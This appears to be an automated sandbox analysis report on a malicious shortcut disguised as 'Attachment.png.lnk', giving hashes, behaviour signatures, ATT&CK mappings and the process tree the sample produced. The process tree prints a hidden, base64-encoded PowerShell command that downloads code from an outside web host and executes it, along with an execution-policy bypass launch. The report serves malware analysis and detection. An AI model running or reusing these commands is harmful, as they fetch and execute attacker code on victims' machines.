d58dc2ab26df5783442b79e3edb7826599494b28f3c75fa3823cbc876f3707da

General

Target

Attachment.png.lnk
Size

1KB
MD5

15482111f86159dc4cca2034e5520350
SHA1

7745a383710aa802613daaa245b456c77149d437
SHA256

a0e0df53e65b8b4f229eeec3e5c839b9436910a2830854b9e52aa11cd2155d4b
SHA512

6190c2808eb2712583a0c7b930d8bb6ca3628dcfdcfcc46b86153757b271220aa37d5fe6aed571a6575e941e3b222e29e086905c27eef85a2046d8108b66f92c

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
12	2708	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3896	2708	WerFault.exe	80

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
1168	powershell.exe
1168	powershell.exe
1168	powershell.exe
2708	powershell.exe
2708	powershell.exe
2708	powershell.exe
3896	WerFault.exe
3896	WerFault.exe
3896	WerFault.exe
3896	WerFault.exe
3896	WerFault.exe
3896	WerFault.exe
3896	WerFault.exe
3896	WerFault.exe
3896	WerFault.exe
3896	WerFault.exe
3896	WerFault.exe
3896	WerFault.exe
3896	WerFault.exe
3896	WerFault.exe
3896	WerFault.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1168	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	3896	WerFault.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 780 wrote to memory of 1168	780	cmd.exe	74
PID 780 wrote to memory of 1168	780	cmd.exe	74
PID 1168 wrote to memory of 2708	1168	powershell.exe	80
PID 1168 wrote to memory of 2708	1168	powershell.exe	80

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Attachment.png.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -w h -noexit -file work.ps1
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -enc JABNAD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGgAaQBuAGcAYwBhAGwAbABlAGQAYwBhAGsAZQAuAGMAbwBtAC8AZgBpAGwAZQAnACkAOwAkAHQAPQAkAE0ALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApADsAJABSAD0AJAB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlAFMAdAByAGUAYQBtACgAKQA7ACQARgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACQAUgA7ACQAcAA9ACQARgAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA7AGkAZQB4ACgAJABwACkAOwAgAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2708
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2708 -s 2492
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3896

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1168-119-0x0000014B62670000-0x0000014B62671000-memory.dmp

Filesize
4KB

Download
memory/1168-140-0x0000014B62830000-0x0000014B62831000-memory.dmp

Filesize
4KB

Download
memory/1168-141-0x0000014B62720000-0x0000014B62722000-memory.dmp

Filesize
8KB

Download
memory/1168-144-0x0000014B62723000-0x0000014B62725000-memory.dmp

Filesize
8KB

Download
memory/1168-153-0x0000014B62C40000-0x0000014B62C41000-memory.dmp

Filesize
4KB

Download
memory/1168-155-0x0000014B62726000-0x0000014B62728000-memory.dmp

Filesize
8KB

Download
memory/1168-210-0x0000014B62728000-0x0000014B62729000-memory.dmp

Filesize
4KB

Download
memory/2708-209-0x0000023EE6723000-0x0000023EE6725000-memory.dmp

Filesize
8KB

Download
memory/2708-208-0x0000023EE6720000-0x0000023EE6722000-memory.dmp

Filesize
8KB

Download
memory/2708-211-0x0000023EE6726000-0x0000023EE6728000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing